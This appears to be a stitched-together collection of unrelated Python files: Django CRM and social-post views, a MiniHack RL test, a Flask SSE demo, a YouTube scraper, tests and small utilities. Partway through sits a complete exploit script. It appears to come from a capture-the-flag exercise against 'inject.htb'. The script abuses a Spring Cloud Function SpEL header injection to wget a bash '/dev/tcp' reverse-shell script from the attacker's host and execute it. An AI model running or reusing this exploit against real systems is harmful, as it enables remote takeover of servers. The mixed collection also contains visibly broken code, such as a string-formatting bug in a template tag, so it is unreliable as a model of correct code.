            title_among_possible = False
            if title.text in config.possible_support_column_2:
                title_among_possible = True
            assert title_among_possible, "Titles don't match"
            support_apps_elems.append((title.get_attribute("href"), title.text))
            print(title.text)
        for support_2_elem in support_apps_elems:
            support._visit2(support_2_elem[0])
            time.sleep(2)
            assert support.get_current_url() == support_2_elem[0]


import sys
sys.path.insert(0, '/home/ayoub/Desktop/Projects/RL-algorithms/')

import gym
import rl_minihack

from rl_algorithms import MonteCarlo

def test_minihack():
    GAMMA = 0.5
    EPS = 2e-1
    ITERS = 20

    class MyAgent(MonteCarlo):
        def decode_state(self, state):
            return tuple(map(tuple, state['chars_crop']))

    env = gym.make(
        id="minihack:MiniHack-Room-5x5-v0",
        max_episode_steps=100_000,
        obs_crop_h=3,
        obs_crop_w=3,
        observation_keys=('chars_crop', 'pixel')
    )

    montecarlo = MyAgent(actions=list(
        range(env.action_space.n)), gamma=GAMMA, eps=EPS)
    montecarlo.load('montecarlo_minihack')

    for i in range(ITERS):
        state = env.reset()
        env.render(state)
        n = 0
        done = False
        while not done:
            n += 1
            action = montecarlo.take_action(state)
            state, reward, done, info = env.step(action)
            montecarlo.update(reward)
            env.render(state)

        montecarlo.end_episode()
        montecarlo.save('montecarlo_minihack')
        print('>'*40, f'Episode {i+1} is finished in {n} steps')

    rl_minihack.stop_rendering()

test_minihack()


import regex

list_txt = open("data/list.txt").read()

list_txt = regex.sub("([^\n])\n([^\n])", "\\1 \\2", list_txt)

buildings = [
    building.strip().replace("\n", " ").replace("  ", " ")
    for building in
    regex.findall(
        "\n\n.*?\d.*?\n\n", list_txt, overlapped=True
    )
]

with open("data/list2.txt", "w") as f:
    for building in buildings:
        print(building, file=f)


from django.http.request import QueryDict
from django.shortcuts import render, redirect, reverse, HttpResponse
from django.views import View
from crm import form
from crm import models
from utils.pagination import Pagination
from django.db.models import Q
from django.db import transaction
from django.conf import settings

# 展示客户页面  公私户
class CustomerList(View):
    # get请求页面
    def get(self, request):
        q = self.search(["name", "qq"])
        if request.path_info == reverse("list"):
            customer = models.Customer.objects.filter(q, consultant__isnull=True, )  # 显示共户的内容
        else:
            customer = models.Customer.objects.filter(q, consultant=request.user_obj)  # 展示私户的内容
        present_page = request.GET.get("page", "1")  # 当前页数
        pag = Pagination(present_page, len(customer), request.GET.copy(), 2)  # 掉用分页的方法
        # print(pag.page_num)
        return render(request, "customer/customer_list.html",
                      {"customer_obj": customer[pag.start:pag.end], "ret": pag.page_html})

    def post(self, request):
        action = request.POST.get("action")
        # print(action)
        if hasattr(self, action):
            ret = getattr(self, action)()  # 利用反射调用公司户的转换
            if ret:
                return ret
        return self.get(request)

    # 公户转私户
    def multi_apply(self):
        ids = self.request.POST.get("ids", "")
        count = models.Customer.objects.filter(consultant=self.request.user_obj).count()
        if (count + len(ids)) > settings.MAX_CUSTOMERS:  # 限制私户的客户数量
            return HttpResponse("你客户太多了 先把现在客户成单了")
        with transaction.atomic():
            # 加行级锁select_for_update
            queryset = models.Customer.objects.filter(pk__in=ids, consultant__isnull=True).select_for_update()
            if len(queryset) == len(ids):
                queryset.update(consultant=self.request.user_obj, )
            else:
                return HttpResponse("你的客户被别人抢走了")

    # 私户转公户
    def multi_pub(self):
        ids = self.request.POST.get("ids", "")
        models.Customer.objects.filter(pk__in=ids).update(consultant=None)

    # q 方法使用函数
    def search(self, field_list):
        query = self.request.GET.get("query", "")
        q = Q()
        q.connector = "OR"
        for i in field_list:
            # Q(Q(name__contains=query)|Q(qq__contains=query ))
            # q.children.append(Q(('{}__contains'.format(i),query)))
            q.children.append(Q((f"{i}__contains", query)))
        return q

# 编辑添加
def customer_change(request, edit_id=None):
    obj = models.Customer.objects.filter(pk=edit_id).first()  # 取信息的对象
    from_obj = form.AddForm(instance=obj)
    if request.method == "POST":
        from_obj = form.AddForm(request.POST, instance=obj)  # 吧POST请求交给modelform对象
        if from_obj.is_valid():
            from_obj.save()  # models 直接生成input标签
            taxt = request.GET.get("next")
            return redirect(taxt)  # 重定向到 customer_list 页面里面
    stutas = "编辑客户" if edit_id else "添加客户"  # 用三元表达式你要判断的
    return render(request, "customer/customer_edit.html", {"form_obj": from_obj, "stutas": stutas})


from flask import Flask
from flask import Response, render_template, stream_with_context

app = Flask(__name__)

@app.route('/')
def root():
    # return 'hello'
    return render_template('sse.html')

@app.route('/sse')
def sse():
    import time
    def generate():
        while True:
            yield 'data: PING\r\n\r\n'
            time.sleep(3)
    return Response(stream_with_context(generate()),
                    mimetype='text/event-stream')

if __name__ == '__main__':
    app.run(port=7000, debug=True, threaded=True)


#!/usr/bin/python3

import datetime
import logging.config
import time
from os import path

import schedule

import mapSun
import relay

from temperature import manage

log_file_path = path.join(path.dirname(path.abspath(__file__)), 'logging.conf')

logging.config.fileConfig(log_file_path)
logger = logging.getLogger('main')

logger.debug("Starting")
relay.setup()
run_for_ever = True
tod = "day"
mapSun.current_times()
schedule.every().day.at("00:00").do(mapSun.new_day)
upload_temps = True

while run_for_ever:
    try:
        if mapSun.need_to_update:
            mapSun.current_times()
            if upload_temps:
                from mySql import delete_old
                delete_old()
            mapSun.need_to_update = False
        if (datetime.datetime.now() > mapSun.sunrise) & (datetime.datetime.now() < mapSun.sunset):
            relay.day_light()
            tod = "day"
        else:
            relay.night_light()
            tod = "night"
        manage(tod)
        schedule.run_pending()
        time.sleep(10)
    except Exception as e:
        logger.exception(e)


#만들수 없는 금액
#이거는 99.9% 런타임 에러나니까 다음번에 이 문제를 도전해본다면 풀어보고 그때도 이러면 답지 보기.
import itertools

a=int(input())

arr=list(map(int,input().split()))

result=[]

sum_each=[]

sum_all=sum(arr)#가장 크게 나올 나올수 있는 값
for i in range(1,a+1):#조합으로 다 구해보기 내 예상 이거 테스트 케이스 있었으면 런타임 에러 떴다.... 이거 해결해야함...
  result =result+list(itertools.combinations(arr,i))

for j in result:#나온값들을 다 더해버리기...
  sum_each.append(sum(j))

sum_each.sort()

sum_set=set(sum_each)
sum_list=list(sum_set)#중복 다 없애기

for i in range(1,sum_all):
  if i not in sum_list:#순서대로 가다가 없는 숫자 나오면 print
    print(i)
    break
else:#만약 끝까지 가면 +1하기...
  print(sum_all+1)


#!/usr/bin/env python3
import requests
from http.server import *
from sys import argv
import threading

class ReverseShellRequestHandler(BaseHTTPRequestHandler):

    def __init__(self, lhost, lport, *args):
        self.lhost = lhost
        self.lport = lport
        BaseHTTPRequestHandler.__init__(self, *args)

    def do_GET(self):
        self.send_response(200)

        self.send_header('Content-Type', 'text/plain')
        self.end_headers()

        self.wfile.write(f"""
        #!/bin/bash
        bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1
        """.encode())

def getHeaderForPayload(command):
    return {"spring.cloud.function.routing-expression": f"T(java.lang.Runtime).getRuntime().exec(\"{command}\")"}

def execCommand(command):
    headers = getHeaderForPayload(command)
    return requests.post("http://inject.htb:8080/functionRouter", data="a", headers=headers)

def hostReverseShell(lhost, lport):
    print("Hosting reverse shell")
    listener = HTTPServer(('', 5555), lambda *args: ReverseShellRequestHandler(lhost, lport, *args))
    listener.handle_request()
    print("File ready")

def fetchLocalFile(lhost):
    print("Downloading local file")
    execCommand(f"wget http://{lhost}:5555 -O /tmp/.shell.sh")
    print("Done")

def executeReverseShell():
    print("Executing shell")
    execCommand("bash /tmp/.shell.sh")
    print("Done")

def getArgs():
    if len(argv) < 3:
        print(f"Usage: {argv[0]} LHOST LPORT")
        raise SystemExit
    return (argv[1], argv[2])

def main():
    lhost, lport = getArgs()
    listenerThread = threading.Thread(target=hostReverseShell, args=(lhost, lport,))
    listenerThread.start()

    fetchLocalFile(lhost)
    executeReverseShell()
    print("Check your shell")

if __name__ == "__main__":
    main()


import unittest

from pybooru import Konachan, KonachanImage

from .common import CommonTests

object_data = {
    "id": 1,
    "tags": "tags",
    "created_at": 1,
    "creator_id": 1,
    "author": "author",
    "change": 1,
    "source": "https://source",
    "score": 1,
    "md5": "image_name",
    "file_size": 1,
    "file_url": "https://file_url.ext",
    "is_shown_in_index": True,
    "preview_url": "https://preview_url.ext",
    "preview_width": 1,
    "preview_height": 1,
    "actual_preview_width": 1,
    "actual_preview_height": 1,
    "sample_url": "https://sample_url.ext",
    "sample_width": 1,
    "sample_height": 1,
    "sample_file_size": 0,
    "jpeg_url": "https://jpeg_url.ext",
    "jpeg_width": 1,
    "jpeg_height": 1,
    "jpeg_file_size": 1,
    "rating": "q",
    "has_children": False,
    "parent_id": None,
    "status": "active",
    "width": 1,
    "height": 1,
    "is_held": False,
    "frames_pending_string": "",
    "frames_pending": [],
    "frames_string": "",
    "frames": []
}

class KonachanTestCase(CommonTests, unittest.TestCase):
    def setUp(self):
        self.booru = Konachan(limit=10)
        self.image = KonachanImage
        self.object_data = object_data
        self.count = '<?xml version="1.0" encoding="UTF-8"?><posts count="11" offset="0"></posts>'
        self.page_increment = 1
        self.page_parameter = 'page'

class KonachanImageTestCase(unittest.TestCase):
    def setUp(self):
        self.image = KonachanImage(**object_data)


from django.shortcuts import render, redirect, get_object_or_404
from django.http import HttpResponseBadRequest
from django.contrib.auth.decorators import login_required
from posts.models import Post

from .controllers import *

@login_required
def add_post(request):
    if request.method == 'POST':
        try:
            add_post_controller(request)
            return redirect('profile', username=request.user.username)
        except ValueError:
            return redirect('profile', username=request.user.username)

    else:
        return redirect('index')

@login_required
def delete_post(request, post_id):
    post = get_object_or_404(Post, id=post_id)
    if post.user_id == request.user.id:
        post.delete()
        return redirect('profile', username=request.user.username)
    else:
        return redirect('index')

def get_all_posts(request, username, index_page):
    context = {}
    try:
        all_posts = get_all_posts_controller(request, username, index_page)
        context['all_posts'] = all_posts['all_posts']
        context['profile'] = all_posts['profile']
        context['user'] = all_posts['user']

    except ValueError:
        return HttpResponseBadRequest('status code - 404')

    return render(request, 'all_posts.html', context=context)

@login_required
def get_feed(request, index_page):
    context = {}
    context['is_shuffle_feed'] = bool(request.GET.get('shuffle', False))
    context['all_posts'] = get_feed_controller(request, index_page, context['is_shuffle_feed'])
    print(context['all_posts'])

    return render(request, 'feed.html', context=context)

@login_required
def like_post(request, post_id):
    like_post_controller(request, post_id)

@login_required
def get_saved_posts(request):
    context = {}
    try:
        context['saved_posts'] = get_saved_posts_controller(request)
    except ValueError:
        context['saved_posts'] = []

    return render(request, 'saved.html', context=context)

def get_post(request, post_id):
    context = {}
    context['post'] = get_object_or_404(Post, id=post_id)
    return render(request, 'post_detail.html', context=context)


from selenium import webdriver
from selenium.webdriver.edge.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd
import sys
import time

class UsageError(Exception):
    def __init__(self, message):
        self.message = message
        super().__init__(message)

def open_browser(url):
    #
    edge_options = Options()
    edge_options.use_chromium = True
    edge_options.add_argument("start-maximized")
    edge_options.add_argument("inprivate")
    edge_options.add_argument('--mute-audio')
    edge_options.add_argument("--disable-notifications")
    edge_options.add_argument('--log-level=3')
    edge_options.add_experimental_option("detach", True)
    driver = webdriver.Edge(options=edge_options)

    driver.get(url)
    return driver

def click_videos(driver):
    video_tab = WebDriverWait(driver, 20).until(
        EC.presence_of_element_located(
            (By.XPATH, '//div[@class = "tab-title style-scope ytd-c4-tabbed-header-renderer"][contains(text(), "Videos")]')#'/html/body/ytd-app/div[1]/ytd-page-manager/ytd-browse/div[3]/ytd-c4-tabbed-header-renderer/tp-yt-app-header-layout/div/tp-yt-app-header/div[2]/tp-yt-app-toolbar/div/div/tp-yt-paper-tabs/div/div/tp-yt-paper-tab[2]/div')
        )
    )
    video_tab.click()

def filter_by_popular(driver):
    popular = WebDriverWait(driver, 20).until(
        EC.presence_of_element_located(
            (By.XPATH,'/html/body/ytd-app/div[1]/ytd-page-manager/ytd-browse/ytd-two-column-browse-results-renderer/div[1]/ytd-rich-grid-renderer/div[1]/ytd-feed-filter-chip-bar-renderer/div/div[3]/iron-selector/yt-chip-cloud-chip-renderer[2]/yt-formatted-string')
            )
            )
    popular.click()

def parse_data(driver):
    """
    Parses data from the web page and returns lists of titles, views_s, and dates.

    Parameters:
        driver (webdriver): The web driver instance.

    Returns:
        tuple: A tuple containing three lists - titles, views_s, and dates.
    """

    titles = []
    views_s = []
    dates = []
    time.sleep(2)
    videos = driver.find_elements(By.XPATH, '//*[@id="contents"]/ytd-rich-item-renderer' )
    for video in videos:
        #print(video)

        title = video.find_element(By.XPATH, './/*[@id="video-title"]' ).text
        views = video.find_element(By.XPATH, './/*[@id="metadata-line"]/span[1]' ).text
        date = video.find_element(By.XPATH, './/*[@id="metadata-line"]/span[2]' ).text
        if title not in titles:
            titles.append(title)
            views_s.append(views)
            dates.append(date)

    #print( f'got {len(videos)} videos' )
    return titles, views_s, dates

def save_data(titles, views_s, dates, output_file_name):
    df = pd.DataFrame( {'titles':titles, 'views':views_s, 'dates':dates} )
    print('############')
    print(f'we have {len(df.index)} elements.')
    print('############')
    print('Here is the first 5 elements please check if that\'s correct.')
    print('############')

    print(df.head())

    print('############')
    print('Here is the last 5 elements please check if that\'s correct.')
    print('############')

    print(df.tail())

    df.to_csv(f'{output_file_name}', index=False)

def main(url, output_file_name= "output.csv"):
    print("#######################")
    print("Processing URL:", url)
    print("#######################")
    print(f"Scraping YouTube Channel:{url.split('@')[-1]}")
    print("#######################")

    driver = open_browser(url)
    time.sleep(4)
    click_videos(driver)
    time.sleep(4)
    filter_by_popular(driver)
    last_height = driver.execute_script('return document.documentElement.scrollHeight;')

    titles = []
    views_s = []
    dates = []
    while True:
        driver.execute_script('window.scrollTo(0, document.documentElement.scrollHeight);')
        time.sleep(4)

        new_height = driver.execute_script('return document.documentElement.scrollHeight;')
        if new_height == last_height:
            title, views, date = parse_data(driver)
            titles.extend(title)
            views_s.extend(views)
            dates.extend(date)
            break
        last_height = new_height

    driver.quit()

    save_data(titles, views_s, dates, output_file_name)

if __name__ == "__main__":
    #url = "https://www.youtube.com/@johnnyharris"
    if len(sys.argv) < 2 or len(sys.argv) > 3:
        raise UsageError(
                    "\n"
                    f"Usage should not be: python {sys.argv}"
                    "\n"
                    "Usage should be: python youtube_script.py \"https://www.youtube.com/@something\" \"your_file_name.csv\"\n"
                    "Note: if you didn't specify a file name, output.csv will be used as the new file name instead."
                    )

    print(f"sys.argv: {sys.argv}")
    url = sys.argv[1]
    if len(sys.argv) == 3:
        output_file_name = sys.argv[2]
        main(url, output_file_name)
    else:
        main(url)


import re

from django import template
from django.core.urlresolvers import reverse
from django.template.defaultfilters import stringfilter
from django.utils.html import escape
from django.utils.safestring import mark_safe

from django.contrib.contenttypes.models import ContentType

from microblogging.models import Tweet, Following

register = template.Library()
user_ref_re = re.compile("@(\w+)")

def make_user_link(text):
    username = text.group(1)
    return """@%s""" % (reverse("profile_detail", args=[username]), username)

@register.simple_tag
def render_tweet_text(tweet):
    text = escape(tweet.text)
    text = user_ref_re.sub(make_user_link, text)
    return mark_safe(text)

@register.inclusion_tag('microblogging/listing.html', takes_context=True)
def tweet_listing(context, tweets, prefix_sender, are_mine):
    request = context.get('request', None)
    sc = {
        'tweets': tweets.select_related(depth=1),
        'prefix_sender': prefix_sender,
        'are_mine': are_mine
    }
    if request is not None:
        sc['request'] = request
    return sc

@register.inclusion_tag('microblogging/listing.html', takes_context=True)
def sent_tweet_listing(context, user, prefix_sender, are_mine):
    tweets = Tweet.objects.filter(sender_id=user.pk)
    return tweet_listing(context, tweets, prefix_sender, are_mine)

@register.simple_tag
def follower_count(user):
    followers = Following.objects.filter(
        followed_object_id = user.id,
        followed_content_type = ContentType.objects.get_for_model(user)
    )
    return followers.count()

@register.simple_tag
def following_count(user):
    following = Following.objects.filter(
        follower_object_id = user.id,
        follower_content_type = ContentType.objects.get_for_model(user)
    )
    return following.count()


from unittest.mock import patch

from dateutil.relativedelta import relativedelta
from django.core import mail
from django.core.management import call_command
from django.test import TestCase
from django.utils import timezone

from .factories import UserFactory
from .models import User

MONTH = 1

@patch('user_deletion.apps.UserDeletionConfig.MONTH_NOTIFICATION', new=MONTH)
class TestUserNotifyManagementCommand(TestCase):
    def test_no_users(self):
        call_command('notify_users')

        self.assertEqual(len(mail.outbox), 0)

    def test_inactive_users(self):
        month_ago = timezone.now() - relativedelta(months=MONTH)
        user = UserFactory.create(last_login=month_ago, notified=False)

        call_command('notify_users')

        self.assertEqual(len(mail.outbox), 1)
        user.refresh_from_db()
        self.assertTrue(user.notified)

    def test_notified_users(self):
        year_ago = timezone.now() - relativedelta(months=MONTH)
        UserFactory.create(last_login=year_ago, notified=True)

        call_command('notify_users')

        self.assertEqual(len(mail.outbox), 0)

@patch('user_deletion.apps.UserDeletionConfig.MONTH_DELETION', new=MONTH)
class TestDeleteUsersManagementCommand(TestCase):
    def test_no_users(self):
        call_command('delete_users')
        self.assertEqual(len(mail.outbox), 0)

    def test_inactive_users(self):
        year_ago = timezone.now() - relativedelta(months=MONTH)
        user = UserFactory.create(last_login=year_ago, notified=True)

        call_command('delete_users')

        self.assertEqual(len(mail.outbox), 1)
        with self.assertRaises(User.DoesNotExist):
            user.refresh_from_db()


from django.urls import path
from . import views

urlpatterns = [
	path('', views.ver_talleres, name='ver_talleres'),
	path('buscar/', views.buscar, name='buscar'),
    path('nuevo/', views.crear_taller, name='nuevo_taller'),
    path('<nombre>/', views.ver_taller, name='taller'),
    path('<nombre>/agregar/<int:ci>', views.agregar_persona, name='agregar_persona'),
]